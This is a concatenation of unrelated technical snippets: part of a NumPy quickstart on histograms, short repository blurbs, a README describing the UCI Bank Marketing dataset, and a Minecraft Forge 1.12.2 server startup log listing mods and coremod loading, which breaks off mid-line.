histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.
hrautila
Go package of column ordered matrix
rishabhathiya
# Bank Marketing Dataset ## Marketing Introduction: The process by which companies create value for customers and build strong customer relationships in order to capture value from customers in return. - Kotler and Armstrong (2010). Marketing campaigns are characterized by focusing on the customer needs and their overall satisfaction. Nevertheless, there are different variables that determine whether a marketing campaign will be successful or not. There are certain variables that we need to take into consideration when making a marketing campaign. ## The 4 Ps: 1) Segment of the Population: To which segment of the population is the marketing campaign going to address and why? This aspect of the marketing campaign is extremely important since it will tell to which part of the population should most likely receive the message of the marketing campaign. 2) Distribution channel to reach the customer's place: Implementing the most effective strategy in order to get the most out of this marketing campaign. What segment of the population should we address? Which instrument should we use to get our message out? (Ex: Telephones, Radio, TV, Social Media Etc.) 3) Price: What is the best price to offer to potential clients? (In the case of the bank's marketing campaign this is not necessary since the main interest for the bank is for potential clients to open depost accounts in order to make the operative activities of the bank to keep on running.) 4) Promotional Strategy: This is the way the strategy is going to be implemented and how are potential clients going to be address. This should be the last part of the marketing campaign analysis since there has to be an indepth analysis of previous campaigns (If possible) in order to learn from previous mistakes and to determine how to make the marketing campaign much more effective. ## What is a Term Deposit? A Term deposit is a deposit that a bank or a financial institurion offers with a fixed rate (often better than just opening deposit account) in which your money will be returned back at a specific maturity time. For more information with regards to Term Deposits please click on this link from Investopedia: https://www.investopedia.com/terms/t/termdeposit.asp ## Outline: 1. Import data from dataset and perform initial high-level analysis: look at the number of rows, look at the missing values, look at dataset columns and their values respective to the campaign outcome. 2. Clean the data: remove irrelevant columns, deal with missing and incorrect values, turn categorical columns into dummy variables. 3. Use machine learning techniques to predict the marketing campaign outcome and to find out factors, which affect the success of the campaign. ## Dataset Link https://archive.ics.uci.edu/ml/datasets/Bank+Marketing ## Dataset Information The data is related with direct marketing campaigns of a Portuguese banking institution. The marketing campaigns were based on phone calls. Often, more than one contact to the same client was required, in order to access if the product (bank term deposit) would be ('yes') or not ('no') subscribed. There are four datasets: 1) bank-additional-full.csv with all examples (41188) and 20 inputs, ordered by date (from May 2008 to November 2010), very close to the data analyzed in [Moro et al., 2014] 2) bank-additional.csv with 10% of the examples (4119), randomly selected from 1), and 20 inputs. 3) bank-full.csv with all examples and 17 inputs, ordered by date (older version of this dataset with less inputs). 4) bank.csv with 10% of the examples and 17 inputs, randomly selected from 3 (older version of this dataset with less inputs). The smallest datasets are provided to test more computationally demanding machine learning algorithms (e.g., SVM). The classification goal is to predict if the client will subscribe (yes/no) a term deposit (variable y). ## Attribute Information Input variables: #### bank client data: 1-age (numeric) 2-job : type of job (categorical: 'admin.','blue-collar','entrepreneur','housemaid','management','retired','self-employed','services','student','technician','unemployed','unknown') 3-marital : marital status (categorical: 'divorced','married','single','unknown'; note: 'divorced' means divorced or widowed) 4-education(categorical:'basic.4y','basic.6y','basic.9y','high.school','illiterate','professional.course','university.degree','unknown') 5-default: has credit in default? (categorical: 'no','yes','unknown') 6-housing: has housing loan? (categorical: 'no','yes','unknown') 7-loan: has personal loan? (categorical: 'no','yes','unknown') #### related with the last contact of the current campaign: 8-contact: contact communication type (categorical: 'cellular','telephone') 9-month: last contact month of year (categorical: 'jan', 'feb', 'mar', ..., 'nov', 'dec') 10-day_of_week: last contact day of the week (categorical: 'mon','tue','wed','thu','fri') 11-duration: last contact duration, in seconds (numeric). Important note: this attribute highly affects the output target (e.g., if duration=0 then y='no'). Yet, the duration is not known before a call is performed. Also, after the end of the call y is obviously known. Thus, this input should only be included for benchmark purposes and should be discarded if the intention is to have a realistic predictive model. #### other attributes: 12-campaign: number of contacts performed during this campaign and for this client (numeric, includes last contact) 13-pdays: number of days that passed by after the client was last contacted from a previous campaign (numeric; 999 means client was not previously contacted) 14-previous: number of contacts performed before this campaign and for this client (numeric) 15-poutcome: outcome of the previous marketing campaign (categorical: 'failure','nonexistent','success') #### social and economic context attributes 16-emp.var.rate: employment variation rate - quarterly indicator (numeric) 17-cons.price.idx: consumer price index - monthly indicator (numeric) 18-cons.conf.idx: consumer confidence index - monthly indicator (numeric) 19-euribor3m: euribor 3 month rate - daily indicator (numeric) 20-nr.employed: number of employees - quarterly indicator (numeric) Output variable (desired target): 21-y - has the client subscribed a term deposit? (binary: 'yes','no') ## License This dataset is public available for research. Citations - 1.Moro et al., 2014] S. Moro, P. Cortez and P. Rita. A Data-Driven Approach to Predict the Success of Bank Telemarketing. Decision Support Systems, Elsevier, 62:22-31, June 2014 2.Dua, D. and Graff, C. (2019). UCI Machine Learning Repository [http://archive.ics.uci.edu/ml]. Irvine, CA: University of California, School of Information and Computer Science.
ketiltrout
The GetData Project is the reference implementation of the Dirfile Standards, a filesystem-based, column-oriented database format for time-ordered binary data.
SilverYukiMoon
[14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Using primary tweak class name net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLServerTweaker [14:27:46] [main/DEBUG] [FML]: Injecting tracing printstreams for STDOUT/STDERR. [14:27:46] [main/INFO] [FML]: Forge Mod Loader version 14.23.5.2847 for Minecraft 1.12.2 loading [14:27:46] [main/INFO] [FML]: Java is OpenJDK 64-Bit Server VM, version 1.8.0_232, running on Linux:amd64:4.4.0-154-generic, installed at /usr/local/openjdk-8/jre [14:27:46] [main/DEBUG] [FML]: Java classpath at launch is: [14:27:46] [main/DEBUG] [FML]: forge.jar [14:27:46] [main/DEBUG] [FML]: Java library path at launch is: [14:27:46] [main/DEBUG] [FML]: /usr/java/packages/lib/amd64 [14:27:46] [main/DEBUG] [FML]: /usr/lib64 [14:27:46] [main/DEBUG] [FML]: /lib64 [14:27:46] [main/DEBUG] [FML]: /lib [14:27:46] [main/DEBUG] [FML]: /usr/lib [14:27:46] [main/DEBUG] [FML]: Determined Minecraft Libraries Root: /aternos/server/libraries [14:27:46] [main/DEBUG] [FML]: Cleaning up mods folder: ./mods [14:27:46] [main/DEBUG] [FML]: Examining file: animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: wings-1.1.6-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Examining file: BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: CTM-MC1.12.2-1.0.1.30.jar [14:27:46] [main/DEBUG] [FML]: Examining file: bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Examining file: iceandfire-1.8.3.jar [14:27:46] [main/DEBUG] [FML]: Examining file: creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Examining file: Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for its_meow.claimit:claimit:1.12.2-1.2.0:api in memory to /aternos/server/./mods/claimitapi-1.12.2-1.2.0.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for its_meow.claimit:claimit:1.12.2-1.2.0 in memory to /aternos/server/./mods/claimit-1.12.2-1.2.0.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Examining file: horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining file: torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Examining file: JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Examining file: mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining file: malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: llibrary-1.7.19-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Found existing ContainedDep llibrary-core-1.0.11-1.12.2.jar(net.ilexiconn:llibrary-core:1.0.11-1.12.2) from /aternos/server/mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar extracted to ./mods/llibrary-1.7.19-1.12.2.jar, skipping extraction [14:27:46] [main/DEBUG] [FML]: Examining file: llibrary-core-1.0.11-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for net.ilexiconn:llibrary:1.7.19-1.12.2 in memory to /aternos/server/./mods/llibrary-1.7.19-1.12.2.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Examining file: betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/claimitapi-1.12.2-1.2.0.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/claimit-1.12.2-1.2.0.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/llibrary-1.7.19-1.12.2.jar, Skipping [14:27:46] [main/DEBUG] [FML]: Enabling runtime deobfuscation [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class FMLCorePlugin [14:27:46] [main/WARN] [FML]: The coremod FMLCorePlugin (net.minecraftforge.fml.relauncher.FMLCorePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Added access transformer class net.minecraftforge.fml.common.asm.transformers.AccessTransformer to enqueued access transformers [14:27:46] [main/DEBUG] [FML]: Enqueued coremod FMLCorePlugin [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class FMLForgePlugin [14:27:46] [main/WARN] [FML]: The coremod FMLForgePlugin (net.minecraftforge.classloading.FMLForgePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod FMLForgePlugin [14:27:46] [main/DEBUG] [FML]: All fundamental core mods are successfully located [14:27:46] [main/DEBUG] [FML]: Discovering coremods [14:27:46] [main/INFO] [FML]: Searching /aternos/server/./mods for mods [14:27:46] [main/DEBUG] [FML]: Adding animania-1.12.2-1.7.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding wings-1.1.6-1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SereneSeasons-1.12.2-1.2.18-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding jei_1.12.2-4.15.0.292.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding BackTools-1.12.2-7.0.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding DragonMounts2-1.12.2-1.6.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding CTM-MC1.12.2-1.0.1.30.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding bookworm-1.12.2-2.3.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding zawa-1.12.2-1.7.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding ExtraGems-1.12.2-(v.1.2.8).jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding iceandfire-1.8.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding creature_whisperer_1.0.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding ultimate_unicorn_mod-1.12.2-1.5.16.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding Instant Massive Structures Mod 1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding landmanager-1.12.2-1.4.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding claimitapi-1.12.2-1.2.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding iChunUtil-1.12.2-7.2.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding claimit-1.12.2-1.2.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding techguns-1.12.2-2.0.2.0_pre3.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding spartanfire-0.07.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding horse_colors-1.12.2-1.0.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding torohealth-1.12.2-11.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding JustEnoughResources-1.12.2-0.9.2.60.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SpartanWeaponry-1.12.2-beta-1.3.8.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding mowziesmobs-1.5.4.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SpartanShields-1.12.2-1.5.4.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding malisiscore-1.12.2-6.5.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding malisisdoors-1.12.2-7.3.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding llibrary-1.7.19-1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding colorchat-1.12.1-2.0.43-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding k4lib-1.12.1-2.1.81-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding TeamUp-1.1.3-1.12.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding betteranimalsplus-1.12.2-8.0.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy CTM-MC1.12.2-1.0.1.30.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in CTM-MC1.12.2-1.0.1.30.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class CTMCorePlugin [14:27:46] [main/WARN] [FML]: The coremod team.chisel.ctm.client.asm.CTMCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod CTMCorePlugin (team.chisel.ctm.client.asm.CTMCorePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod CTMCorePlugin [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy iceandfire-1.8.3.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in iceandfire-1.8.3.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class IceAndFirePlugin [14:27:46] [main/TRACE] [FML]: coremod named iceandfire is loading [14:27:46] [main/DEBUG] [FML]: The coremod com.github.alexthe666.iceandfire.asm.IceAndFirePlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod iceandfire (com.github.alexthe666.iceandfire.asm.IceAndFirePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod iceandfire [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/INFO] [FML]: Loading tweaker org.spongepowered.asm.launch.MixinTweaker from malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in SereneSeasons-1.12.2-1.2.18-universal.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class SSLoadingPlugin [14:27:46] [main/WARN] [FML]: The coremod sereneseasons.asm.SSLoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod SSLoadingPlugin (sereneseasons.asm.SSLoadingPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod SSLoadingPlugin [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in techguns-1.12.2-2.0.2.0_pre3.1.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class TechgunsFMLPlugin [14:27:46] [main/TRACE] [FML]: coremod named Techguns Core is loading [14:27:46] [main/DEBUG] [FML]: The coremod techguns.core.TechgunsFMLPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod Techguns Core (techguns.core.TechgunsFMLPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod Techguns Core [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy wings-1.1.6-1.12.2.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in wings-1.1.6-1.12.2.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class WingsLoadingPlugin [14:27:46] [main/TRACE] [FML]: coremod named wings is loading [14:27:46] [main/DEBUG] [FML]: The coremod me.paulf.wings.server.asm.plugin.WingsLoadingPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod wings (me.paulf.wings.server.asm.plugin.WingsLoadingPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod wings [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy llibrary-core-1.0.11-1.12.2.jar [14:27:46] [main/TRACE] [FML]: Adding llibrary-core-1.0.11-1.12.2.jar to the list of known coremods, it will not be examined again [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class LLibraryPlugin [14:27:46] [main/TRACE] [FML]: coremod named llibrary is loading [14:27:46] [main/DEBUG] [FML]: The coremod net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/DEBUG] [FML]: Found signing certificates for coremod llibrary (net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin) [14:27:46] [main/DEBUG] [FML]: Found certificate b9f30a813bee3b9dd5652c460310cfcd54f6b7ec [14:27:46] [main/DEBUG] [FML]: Enqueued coremod llibrary [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy llibrary-1.7.19-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in llibrary-1.7.19-1.12.2.jar [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name org.spongepowered.asm.launch.MixinTweaker [14:27:46] [main/DEBUG] [mixin]: MixinService [LaunchWrapper] was successfully booted in sun.misc.Launcher$AppClassLoader@33909752 [14:27:46] [main/INFO] [mixin]: SpongePowered MIXIN Subsystem Version=0.7.11 Source=file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar Service=LaunchWrapper Env=SERVER [14:27:46] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #1 [14:27:46] [main/DEBUG] [mixin]: Initialising Mixin Platform Manager [14:27:46] [main/DEBUG] [mixin]: Mixin platform: primary container is file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Adding mixin platform agents for container file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Instancing new MixinPlatformAgentFML for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: ForceLoadAsMod was specified for malisiscore-1.12.2-6.5.1.jar, attempting force-load [14:27:46] [main/DEBUG] [mixin]: Adding malisiscore-1.12.2-6.5.1.jar to reparseable coremod collection [14:27:46] [main/DEBUG] [mixin]: malisiscore-1.12.2-6.5.1.jar has core plugin net.malisis.core.asm.MalisisCorePlugin. Injecting it into FML for co-initialisation: [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class MalisisCorePlugin [14:27:46] [main/WARN] [FML]: The coremod net.malisis.core.asm.MalisisCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod MalisisCorePlugin (net.malisis.core.asm.MalisisCorePlugin) is not signed! [14:27:46] [main/INFO] [mixin]: Compatibility level set to JAVA_8 [14:27:46] [main/DEBUG] [FML]: Enqueued coremod MalisisCorePlugin [14:27:46] [main/DEBUG] [mixin]: Instancing new MixinPlatformAgentDefault for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/forge.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/iceandfire-1.8.3.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/wings-1.1.6-1.12.2.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar for mixin tweaker [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLDeobfTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class 